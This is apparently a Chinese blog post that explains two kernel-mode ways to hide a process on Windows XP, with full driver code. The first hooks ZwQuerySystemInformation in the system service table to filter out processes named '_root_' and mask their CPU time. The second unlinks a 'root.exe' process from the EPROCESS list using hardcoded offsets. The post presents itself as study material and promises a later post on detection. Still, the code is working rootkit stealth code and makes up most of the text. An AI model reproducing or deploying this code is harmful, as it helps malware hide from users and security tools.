• Ring0隐藏进程的方法


    第一种在系统调用服务表HOOK ZwQuerySystemInformation函数地址

    使用InterlockedExchange函数将ZwQuerySystemInformation在内核导出表KeServiceDescriptorTable最终调用位置的函数地址替换为NewZwQuerySystemInformation,然后NewZwQuerySystemInformation先调用之前的函数,最后NewZwQuerySystemInformation从原函数返回的信息中过滤掉目标进程。

    见核心代码

    NTSTATUS NewZwQuerySystemInformation(

                IN ULONG SystemInformationClass,

                IN PVOID SystemInformation,

                IN ULONG SystemInformationLength,

                OUT PULONG ReturnLength)

    {

     

       NTSTATUS ntStatus;

     

       ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (

                      SystemInformationClass,

                      SystemInformation,

                      SystemInformationLength,

                      ReturnLength );

     

       if( NT_SUCCESS(ntStatus))

       {

          // Asking for a file and directory listing

          if(SystemInformationClass == 5)

          {

             // This is a query for the process list.

            // Look for process names that start with

            // '_root_' and filter them out.

                     

            struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;

             struct _SYSTEM_PROCESSES *prev = NULL;

            

            while(curr)

            {

                DbgPrint("Current item is %x ", curr);

               if (curr->ProcessName.Buffer != NULL)

               {

                  if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))

                  {

                      m_UserTime.QuadPart += curr->UserTime.QuadPart;

                      m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

     

                      if(prev) // Middle or Last entry

                      {

                         if(curr->NextEntryDelta)

                             prev->NextEntryDelta += curr->NextEntryDelta;

                         else   // we are last, so make prev the end

                             prev->NextEntryDelta = 0;

                      }

                      else

                      {

                         if(curr->NextEntryDelta)

                         {

                             // we are first in the list, so move it forward

                             (char *)SystemInformation += curr->NextEntryDelta;

                         }

                         else // we are the only process!

                             SystemInformation = NULL;

                      }

                  }

               }

               else // This is the entry for the Idle process

               {

                  // Add the kernel and user times of _root_*

                  // processes to the Idle process.

                  curr->UserTime.QuadPart += m_UserTime.QuadPart;

                  curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

     

                  // Reset the timers for next time we filter

                  m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;

               }

               prev = curr;

               if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);

               else curr = NULL;

             }

          }

          else if (SystemInformationClass == 8) // Query for SystemProcessorTimes

          {

             struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;

             times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;

          }

     

       }

       return ntStatus;

    }

    代码摘自Rootkits-Windows内核的安全防护一书

    效果如图

    我把一个MFC程序命名为_root_.exe,运行后加载驱动,可以显示出对话框,任务管理器进程列表却找不到这个进程。

    第二种是直接在内核的EPROCESS链表中摘去目标进程。

    void EnumERProcess()

    {

             ULONG eproc ;

             ULONG first_eproc;

             int currentPid = 0;

             int startPid = 0;

             int cout = 0;

    //      ULONG pflinkErp,pblinkErp;

             PLIST_ENTRY pListActiveProcs;

             PLIST_ENTRY pflinkErp,pblinkErp;

             //_asm int 3;

             //遍历ActiveList

             first_eproc = eproc = (ULONG)PsGetCurrentProcess();

             pListActiveProcs = (PLIST_ENTRY)(eproc+0x88);

             while(eproc!=0)

             {

                       PULONG pid = (PULONG)(eproc +0x84);

                      

                       PCHAR image_name = (PCHAR)(eproc +0x174);

                       DbgPrint("PID=%d ProcessName=%s ",*pid,image_name);

                       if(strcmp(image_name,"root.exe") == 0)

                       {

                                DbgPrint("发现进程root ");

                                pflinkErp = pListActiveProcs->Flink;

                                pblinkErp  = pListActiveProcs->Blink;

                                //后一个节点的前进节点设置为下一个

                                pblinkErp->Flink = pflinkErp;

                                //设置前面一个节点的后面节点

                                pflinkErp->Blink = pblinkErp;

                                pListActiveProcs->Flink = (PLIST_ENTRY)(eproc+0x88);

                                pListActiveProcs->Blink = (PLIST_ENTRY)(eproc+0x88);

                                return;

                       }

                       eproc = (ULONG)pListActiveProcs->Flink - 0x88;

                       pListActiveProcs = (PLIST_ENTRY)(eproc+0x88);

                       if(eproc == first_eproc)

                                break;

             }

    }

    (XP环境测试代码,直接硬编码了)

    效果和第一种一样

     下一篇将告诉大家如何检测隐藏进程

  • 相关阅读:
    分布式事务解决方案
    数据库和缓存双写一致性解析
    RabbitMQ 分区脑裂处理策略
    RabbitMQ实现延迟队列
    RabbitMQ高可用原理
    PyTorch Lightning工具学习
    【数学知识拾贝】模式识别所需要的线性代数知识总结
    【深度强化学习】1. 基础部分
    给内容打标签
    前端性能优化有哪些点
  • 原文地址:https://www.cnblogs.com/zwt1234/p/5365926.html
Copyright © 2020-2023  润新知